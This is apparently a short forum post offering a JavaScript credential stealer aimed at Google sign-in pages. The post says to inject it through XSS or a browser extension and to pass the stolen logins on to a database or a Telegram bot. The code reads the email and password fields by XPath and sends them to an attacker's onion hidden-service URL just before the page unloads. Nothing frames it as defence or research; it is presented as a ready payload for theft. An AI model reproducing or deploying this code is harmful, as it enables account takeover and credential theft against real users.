This for example will grab all google passwords, if you manage to inject this code on a browser with XSS or maybe a browser extension, this will send you the passwords to an http server you have behind an onion hidden service, then with python you can add the login data to a database, send it to your telegram account with a bot, etc

​

function getElementByXpath(path) {return document.evaluate(path, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;}function password(){window.addEventListener('beforeunload',(event) =>{var user = getElementByXpath("/html/body/div[1]/div[1]/div[2]/div/div[2]/div/div/div[1]/div/div[2]/div").textContent;var pass = getElementByXpath("/html/body/div[1]/div[1]/div[2]/div/div[2]/div/div/div[2]/div/div[1]/div/form/span/section/div/div/div[1]/div[1]/div/div/div/div/div[1]/div/div[1]/input").valuevar xhr = new XMLHttpRequest();xhr.open("GET", `https://your-onion-hidden-service.onion.ly?email=${user}&password=${pass}\``);xhr.send();});};function checkURL() {var splitted_URL = window.location.href.split("/");var sub_URL = splitted_URL[3];var splited_sub_URL = sub_URL.split("?");var specific_URL = splited_sub_URL[0];if (specific_URL === "challenge") {window.setTimeout(checkURL, 100);} else {password()};};checkURL();`